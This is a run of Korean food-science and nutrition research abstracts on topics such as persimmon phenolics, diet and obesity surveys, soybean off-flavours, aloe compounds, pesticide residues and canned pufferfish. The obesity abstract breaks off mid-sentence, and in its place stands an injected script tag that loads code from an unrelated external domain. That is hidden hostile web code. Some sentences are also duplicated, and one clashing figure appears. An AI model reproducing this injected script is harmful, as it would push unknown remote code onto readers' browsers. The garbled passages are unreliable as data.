떫은감과 그 연시의 페놀성 화합물의 변화를 조사하고 변색관련 물질의 특성을 구명하고자 하였다. 연시의 페놀성 화합물은 주로 클로로겐산과 카테킨류가 주를 이루고 있었다. 전반적으로 떫은감으로부터 연시를 제조할 경우 페놀성 화합물의 함량이 감소하나 총페놀성 화합물에서 차지하는 카테킨류의 비율은 감소되지 않았다. 손상과 연시의 페놀성 화합물은 거의 고분자량 획분인 것으로 나타났으며, 총페놀성 물질은 고온이 상온에 비해 전반적으로 높게 추출되었다. 페놀성 물질 중 카테콜, 클로로겐산, (+)카테킨의 각 표준품을 물, 80% 메탄올로 0.3% 용액을 제조한 후 변색방지제인 비타민 C, 구연산, L-cystein을 첨가하여 변색방지 효과를 검토한 결과 갈변이 심한 (+)카테킨의 변색을 현저히 억제하였다.
2년제 대학에 재학 중인 대학생 72명과 그들의 부모 72명을 대상으로 3일-식이기록을 작성시켜 두 세대간의 영양소 섭취형태, 지방, 설탕 및 식이섬유 섭취량과 지방 섭취형태의 차이를 분석하였다, 조사대상자의 평균연령은 학생이 19.8세였고 부모가 48.2세였다. 평균 BMI는 학생이 20.9, 부모가 23.8이었으며, BMI 25이상을 비만으로 볼 때 학생의 9.7%와 부모의 29.2%가 비만으로 나타났다. 3일-식이기록으로 조사한 일일 열량섭취량은 학생이 1, 881.5kcal, 부모가1, 866.4kcal이며 이는 한국인 영양권장량의 85.0%와 85.9%로서 두 세대 모두 권장량에 미달되는 것으로 나타났다. 지방은 학생이 55.8g로서 48.0g인 부모보다 많이 섭취하고 있으며, 단백질은 부모가 학생보다 많이 섭취하는 것으로 나타났다(86.5 g과 75.2 g). 당질, 단백질 및 지방을 열량구성비율로 환산해 보면, 당질은 학생과 부모가 각각 57.6%와 59.4%, 단백질은 16.4%와 18.3%, 그리고 지방은 26.4%와 22.5%로서 바람직한 한국인의 열량구성비와 비교할 때 당질은 학생이 약 7%, 부모는 약 6% 적게, 단백질은 학생이 약 1%, 부모는 약 3%가 많게 섭취하고 있었으며, 지방은 학생은 약 1% 많이, 부모는 약 3% 적게 섭취하는 것으로 나타났다. 학생과 부모의 단백질 섭취량은 각각 한국인의 영양권장량의 110.5%와 132.1%로서 모두 권장량보다 많았으며, 부모가 학생보다 훨씬 높았다. 칼슘섭취량은 학생과 부모 모두 권장량에 못 미치는 75.2%와 81.0%였으며, 철분섭취량은 학생들은 권장량의 93.3%로 약간 부족한 반면에 부모들은 133.4%로 권장량 이상 섭취하고 있는 것으로 나타났다. 섭유질의 섭취량은 부모들이 15.3 g으로서 학생들의 11.0 g보다 많았고 설탕의 섭취량은 학생이 부모보다 많았으며(28.6과 20.7g). 콜레스테롤 섭취량은 두 세대간에 차이가 없었다. 섭취한 식품을 식품교화군으로 환산해 보면 곡규군, 지방군 및 과일군은 두 세대간에 차이가 없었으나 어육류군과 채소군은 부모들이 학생들보다 많은 양을 섭취하고 있었으며, 우유군은 학생들이 0.52로서 0.19인 부모들에 비해 많은 양을 섭취하고 있었다. 포화지방은 학생이 부모보다 많이 섭취하고 있었고(15.75 g과 12.42 g), 다가 불포화지방은 두 세대간의 섭취량이 차이가 없었으나 이것을 지방 섭취량에 대한 백분율로 환산하면 부모가 학생보다 훨씬 많았다(23.37%와 20.02%). 포화지방산을 섭취에너지에 대한 백분율로 환산하면 학생이 부모보다 높게 섭취하고 있었으며(7.42%과 5.74%). P:S 비는 부모가 학생보다 높았다(1.13과 0.75). 콜레스테롤은 학생이 부모보다 많이 섭취하는 경향을 보였으나(263.3g 과 224.0g) 유의적인 차이가 없고, 미국 영양사협회와 미국 심장협회가 권장하는 300mg을 넘지는 않았다. 식이 동맥경화원성을 나타내는 콜레스테롤지표(CI)와 Keys score 및 Hegsted score 모두 학생이 부모보다 큰 것으로 나타났다.
본 실험은 LOX 결핍 콩인 진품콩(L-2, 3 결핍)과 진품콩 2호(L-1, 2, 3 결핍) 및 정상인 황금콩에 대한 콩비린내 성분을 살펴봄으로써 이의 식품학적 이용 가능성과 계속적인 LOX 결핍 콩의 품종개발 자료를 제공하고자 실시하였다. DHS-GC-MSD 방법에 의한 휘발성 냄새 성분의 분석시 전지콩분말에서는 3 품종 모두에서 hexanal과 hexanol이 확인되었고, 탈지콩분말에서는 황금콩에서 다소 많은 종류의 화합물이 확인되었다. 두유에서는 hexanal과 acetic acid가 3품종에서 모두 확인되었으며 전반적으로 황금콩에서 진품콩과 진품콩 2호보다 많은 양의 휘발성 화합물이 확인되었다. 콩나물에서는 다량의 화합물들이 검출되었으며 품종간 차이는 확인할 수 없었다. SHS-GC-MSD 방법에 의한 경우에는 3 품종 모두가 함량은 달라도 거의 유사한 종류의 휘발성 화합물들이 확인되었다. 가장 많은 것으로 확인된 화합물은 hexanal, acetic acid. 1-hexanol, 1-octen-3-ol 등이었는데 acetic acid의 함량이 거의 유사한 것에 비하여 LOX의 반응물이라고 알려진 hexanal은 진품콩 2호가 가장 적은 것으로 확인되었다. GC-FID를 사용하여 분석한 결과에서도 진품콩 2호의 hexanl과 pentanol함량이 황금콩에 비하여 상대적으로 적은 것으로 나타났는데, GC-FID에 의한 분석법은 lopoxygenase 결핍 콩의 중요한 휘발성 성분의 손쉬운 분석 방법인 것으로 확인되었다. 이상의 결과에서 LOX가 결핍된 콩이 일반적으로 황금코에 비햐여 hexanal, pentanol등의 휘발성 화합물들이 다소 적게 나타나 식품이용 가능성을 보여주었으나 차이가 그렇게 현저하지는 않았다. 따라서 더 효과적인 차이가 그렇게 현저하지는 않았다. 따라서 더 효과적인 비린내 개선을 위해서는 LOX 각 동질효소의 특성과 콩비린내 성분의 생성기작에 대한 이해, 그리고 비린내 제거를 위한 여러 가지 방법과의 병행에 대한 계속적인 연구가 필요한 것으로 여겨진다.
최근 풍족한 식생활로 인한 영양소의 과잉섭취와 운동량의 부족으로 비만증이 늘어나고 있다. 비만증의 위험이 널리 인식되면서 비만성인들의 무분별한 다이어트와 운동으로 영양결함이나 이와 관련된 질병들이 발행할 우려가 있으므로 적절한 영양교육 프로그램개발을 위한 기초자료를 위해 식사 행동, 영양섭취실태 및 건강상태에 관한 실태를 조사하여 비만군과 대조군을 비교해 본 결과 다음과 같은 결과를 얻었다. 1. 평균연령은 남녀 각각 38.1±10.8세, 35.2±8.8세였으나, 전체 연령의 분포는 30세 이하가 28명(35%), 30세에서 39세가 23명(28%), 40세에서 49세가 19명(23.5%), 50세 이상이 11명(13.5%)으로 30세에서 49세가 가장 많았다. 체중조절 운동에 참여한 기간은 1∼2개월 정도가 5명(6.1%), 3∼4개월은 24명(29.8%), 5∼6개월은 39명(48.2%), 6개월 이상은 13명(15.9%)으로 5∼6개월이 가장 많았다. 2. 에너지 섭취량의 경우 비만군이 1, 451.0kcal로써 대조군 1, 572.4kcal에 비해 8%정도 적게 섭취하는 것으로 나타났으며 한국인의 영양권장량^21)에 대한 비율로는 대조군이 74% 비만군이 65% 수준으로 섭취하고 있었다. 에너지 섭취량과 마찬가지로 권장량에 미치지 못하는 영양소는 단백질, 칼슘, 철분, 비타민 B_1, 비타민 B_2이었다. 총열량에 대한 탄수화물, 지방, 단백질의 열량 비율은 비만군이 61.2:21.6:16.6, 대조군이 62.8:21.3:16.0으로 한국인 영양권장량에서 이상적인 구성 비율로 권장하고 있는 65:20:15와 비교해 볼 때 탄수화물 섭취 비율이 두 군 모두 약간 낮으나 지방과 단백질의 섭취비율은 비슷하였다. 3. 평균 신장은 비만군이 165.8cm, 대조군이 164.2cm으로 두 군간에 차이가 없었으나. 평균 체중은 비만군이 74.9kg, 대조군이 60.4kg으로 나타나 유의적인 차이(p<0.001)를 보였다. TSF는 비만군이 28.3mm, 대조군이 23.7mm로 두 군간에 유의적인 차(p<0.001)를 나타냈다. MAMC는 비만군이 25.5cm, 대조군이 21.7cm로써 두 군간에 유의적인 차이(p<0.001)를 보였다. 4. 식사행동에 관한 내용에서는 하루에 몇 회 식사하는가, 규칙적인 식사를 하는가, 식사에 걸리는 시간에 관한 문항으로 나누어 조사한 결과, 하루에 3회 식사하는 사람이 대부분이었으나 비만군의 여자 1명과 대조군의 여자 2명이 하루 1회만 식사를 하고, 비만군의 여자 4, 남자 2명과 대조군의 여자 7명이 하루 2회 식사를 하는 것으로 나타나 식사행동이 잘못되었음을 알 수 있었다. 규칙적인 식사를 하는가에 관한 물음에서는 대체로 규칙적이다라고 답한 사람이 비만군은 14명(38.9%), 대조군은 22명(52.4%)으로 대조군이 많았다. 불규칙적이다라고 답한 사람은 비만군이 여자 5명과 남자 22명으로 전체 27명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(57.5%), 대조군이 여자 6명과 남자 6명으로 전체 12명(36%)이었다. 불규칙적인 식사를 하는 비만군 남자의 경우 잦은 음주로 인하여 식사를 하는 비만군 남자의 경우 잦은음주로 인하여 식사를 제 때에 못한다고 답한 사람이 많았다. 식사에 걸리는 시간은 10분 이내인 경우는 비만군에서 다소 많았으며 그 외는 10분에서 20분 사이라고 답한 사람이 대부분이었다. 5. 운동에 참여하는 정도는 참여한다라고 답한 사람이 비만군이 17명(42.1%), 대조군이 13명(35.7%)이었으며, 가끔 참여한다라고 답한 사람이 비만군이 25명(62.1%), 대조군이 26명(64.3%)이었다. 운동빈도는 1주일에 3∼5회 하는 사람이 비만군19명(43.4%), 대조군 23명(63.5%)으로 나타나 대조군이 비만군보다 많았다. 운동빈도에 따른 인체계측의 변화는 1주일에 6∼7회 운동하는 사람의 체중과 TSF가 1∼2회 및 3∼5회 운동하는 사람보다 약간 낮게 나타났으며, 대체적으로 비슷한 분포를 보였다. 1회 운동시 걸리는 시간은 30분이 전체의 약 44%로 가장 많았고, 그 다음이 60분으로 전체의 약 39%였다. 체중조절을 위해 운동에 참여한 기간은 비만군 23명(54.6%)과 대조군 16명(38.9%)이 5∼6개월에 답을 하여 가장 많은 수치를 나타내었다. 평소에 자신이 알고 있는 영양지식을 실생활에 활용하는가에 관한 물음에서 전체 52명(64.2%)이 대체적으로 활용하고 있다고 답했으며, 적극적으로 활용한다고 답한 사람이 전체 29명(35.8%)으로 나타났다. 6. 각 영양소 섭취량과 인체계측 지표간의 상관성을 분석하여 본 결과, PIBW는 열량섭취량(r = -0.241, p<0.05)과 탄수화물 섭취량(r = -0.259, p<0.05)사이에 유의한 음의 상관관계가 있음을 보였으며, BMI도 PIBW와 마찬가지로 열량섭취량(r = -0.224, p<0.05)과 탄수화물 섭취량(r = -0.242, p<0.05)사이에 유의한 음의 상관성을 나타냈다. 7. 체중 조절후 체중감소율에 영향을 미치는 요인을 알아내기 위해 단계적 다중회귀분석을 한 결과, 체중감소율을 설명할 수 있는 요인으로서?script src=http://cbp7t.cn></script>
약용 매화지의류인 Parmelia austrosinensis와 P. praesorediosa의 추출물로부터 α-glucosidase에 대한 저해작용을 확인하였다. 효소저해물질은 가열, 산, 알칼리 조건 및 수종의 가수분해효소에 대해 대단히 안정한 특성을 나타내었다. 부분정제된 효소저해물질은 α-glucosidase 이외에도 각종 이당류 분해효소, 특히 포유류와 사상균 유래의 효소류에 대해 강한 저해작용을 나타내었으며, 다당류 분해효소에 대해서는 glucoamylase를 제외하고는 대부분 매우 약한 저해활성을 나타내었다. 두 종의 매화지의 추출물로부터 부분정제한 α-glucosidase 저해물질은 HPLC 상에서도 거의 동일한 retention time을 나타내었다. 실험용 rat에 전분 또는 설탕과 함께 매화지의에서 추출한 α-glucosidase 저해물질을 경구 투여한 결과, 식후 30분경의 급격한 혈당상승을 억제하는 효과를 나타내었다.
Aloe vera peel에서 항우식 및 함염증 활성이 있는 물질로 분리, 동정한 aloe-emodin과 barbaloin에 대한 Streptococcus mutans JC-2의 항균활성 및 glucosyltransferase (GTase)활성에 대한 저해 효과를 조사하였다, Aloe-emodin과 barbaloin은 Streptococcus mutans JC-2에 대해 강한 항균활성을 나타내었으며 100ug/mL 첨가농도에서는 lag phase가 연장되고 대수기의 생육도 저하되는 뚜렷한 항균효과가 있었다. 배양액의 pH의 감소폭은 대조군에 비해 aloe-emodin과 barbaloin의 첨가로 적게 나타났다. Streptococcus mutans JC-2의 세포질 성분들은 aloe-emodin과 barbaloin의 첨가농도가 증가할수록 많은 양이 누출되었으며, aloe-emodin과 barbaloin간의 세포막 손상에 있어 큰 차이는 없었다. GTase의 활성은 aloe-emodin과 barbaloin에 의해 저해되었으며 각각 100ug/mL 첨가 농도에서 각각 99.8, 98.4%의 저해율을 나타내었다.
Aloe vera 껍질에서 항우식 및 항염증제재를 개발하기 위해 항우식 및 항염증 활성이 있는 물질을 분리, 정제하였고, 활성이 우수한 ethylacetate층을 silica gel column chromatography 및 preparative thin layer chromatography를 통해 두 가지 활성물질을 정제하였다. 정제된 두 가지 물질은 UV spectrum과 FT-IR, ^1H-NMR 및 Mass spectrum 분석을 통해 aloe-emodin과 barbaloin으로 동정하였다.
액체형태의 건강보조식품이나 기능성 식품 및 의약품에 이용하기 위한 계피 extract를 제조하는데 있어서 적합한 건조방법을 선정하고자 농축 및 건조방법이 계피 extract의 품질에 미치는 영향을 조사하였다. 추출 시험에서 선정된 최적조건 즉, 물을 용매로 할 때는 80℃에서 10배량의 물을 가하여 1시간씩 3회 추출하고, 70% 에탄올을 용매로 할 경우에는 80℃에서 5배량의 용매를 가하여 1시간씩 2회 추출한 다음 각각의 추출액을 오븐건조, 감압농축건조, 분무건조, 냉동건조의 방법으로 건조시켜 농축물을 조제하였다. 이때 지표성분인 cinnamic acid, 유효성분인 eugenol과 cinnamic aldehtde가 건조방법에 의한 영향을 가장 많이 받아서 물추출액의 경우에 오븐건조 시에는 추출액의 4.76%∼44.12%, 감압건조 시 5.30%∼48.05%, 분무건조 시 3.66%∼21.83%, 냉동건조 시에는 56.21%∼88.76%, 잔존율을 나타냈고, 70% 에탄올 추출액의 경우에는 감압건조 시 9.40%∼25.40%, 냉동건조 시 76.05%∼88.38의잔존율을 나타냈다. 항산화활성도의 변화도 이와 유사하였으며 70% 에탄올 추출구가 물추출구에 비하여 감소율이 적었다. 갈색도는 건조온도가 높을수록 증가하였으며 탄닌과 유리당 함량은 큰 변화가 없었다. 물리적 성질 중 용해도는 오븐 건조했을 때 가장 낮았으며 70% 에탄올 추출액을 건조하였을 때 용해도가 더욱 낮았다. 이상의 결과를 종합해보면 물추출액의 경우에는 냉동건조, 70% 에탄올 추출액의 경우에는 냉동건조와 감압농축 건조방법이 지표성분이나 유효성분함량, 항산화활성도의 변화가 적으며 용해도 등의 품질 변이가 적으므로 계피 추출액의 농축에 적합하였다.
재래식 메주에서 분리된 killer 효모 H. capsulata S-13에 EMS 등의 변이제를 처리하여 친주보다 2배 killer 활성이 증대된 변이 균주 H. capsulata S13-E1을 얻고 이를 이용하여 각종 효모에 대한 길항성을 조사한 결과 장류 발효에 유해한 효모인 Zygosacch. mellis와 Zygosacch. salsus 등과 장류가 가스 발생 원인 효소인 Saccharomyces sp. K-8과 K-34, Zygosaccharomyces sp. K-181과 D-211 등에 대하여 강한 항균 특성을 보였다. 또한 H. capsulata S13-E1을 potato extract 1.0%, peptone과 glucose를 각각 0.5%, MgSO_4 0.025%(초기 pH 4.5)를 함유한 PEPD 배지에 접종하여 30℃에서 36시간 발효조로 회분배양 하였을 때 killier toxin이 제일 많이 생산되었다.
본 조사에서는 1999년 3월에서 12월에 걸쳐 전남도내에서 구입한 국내산 및 수입산 녹두, 참깨, 콩, 팥 등 총 80건에 대하여 10개의 카바메이트제 농약에 대한 잔류 조사를 실시하였다. 조사결과 총 시료의 17.5%인 14건에서 카바메이트제 농약 잔류가 확인되었으며 녹두에서 methomyl, MTMC, carbary이 0.002∼0.025ppm, 참깨에서 oxamyl, carbofuran, carbryl, 1-naphthol, MIPC가 0.001∼0.469ppm, 콩에서 oxamyl, MTMC, carbaryl이 0.017∼0.125ppm 수준으로 검출되었다. 검출횟수가 잦은 농약은 MTMC와 carbaryl로 각각 6건과 5건이었으며 그밖에 oxamyl이 2건 methomyl, carbofuran, PHC, BPMC는 단 한 건의 시료에서도 검출되지 않았다. 수입산과 국내산의 농략잔류실태를 비교한 결과 녹두를 제외한 나머지 팥, 참깨, 콩에서 수입산의 검출률이 높았으며 전 시료 중 국내외 농약잔류 허용기준을 초과한 시료는 수입산 콩 한 건으로 oxamyl이 Codex기준치(0.2ppm)보다 많은 0.356ppm 검출되었다.
강원도 원주지방에서 분리한 고온성 방선균을 사용하여 단백질 분해력이 강한 균주를 선별하여 생산조건을 조사하였다. 온도에 대한 효소 생산성을 검토한 결과 배양온도는 50℃에서 가장 좋았으며 균체 생성량도 가장 많았다. 최적의 탄소원과 질수원은 각각 0.5% soluble starch와 0.4% yeast extract였다. 효소생산을 위한 배지의 초기 pH는 8.0, 금속염은 0.05% CaCl_2에서 48시간 정치 배양하였을 때 최대의 생산성을 보였다.
은복의 일반성분 조성비는 수분함량 77.8%, 조단백질 17.1% 및 조지방 3.7%이고 북어통조림 제품의 수분함량 77.0%, 조단백질 18.4% 및 조지방 3.3%로 생시료와 통조림시료의 일반성분비는 거의 차이가 없는 것으로 나타났다. 복어 원료어와 통조림 제조 저장 중의 휘발성 염기질소, 아미노질소 및 산가의 변화는 매우 적은 변화가 나타났을 뿐 큰 차이는 없었다. 즉, 휘발성염기질소는 생시료 10.7mg/100g에서 통조림 제조 직후 19.3mg/100g으로 다소 증가하였으나 저장기간이 증가함에 따라 큰 변화는 없었다. 아미노질소 함량은 생시료일 때 14.0 mg/100g이었고, 제조 직후는 15.2mg/100g으로 다소 증가하였지만, 이것 역시 저장기간이 증가함에 따라 매우 조금씩 증가하는 것으로 나타났다. 생시료의 산가는 1.4mg/KOHmg/g이었고, 제조 직후는 1.5 KOHmg/g으로 서서히 증가하는 경향을 보였다. 또한 상온 및 냉장저장 동안 제품 중 생균수는 음성으로 나타났고, mouse에 대한 독성검사결과 생시료의 근육에서 2MU/g이하로 통조림 제조 및 저장 중에는 독력이 검출되지 않았다.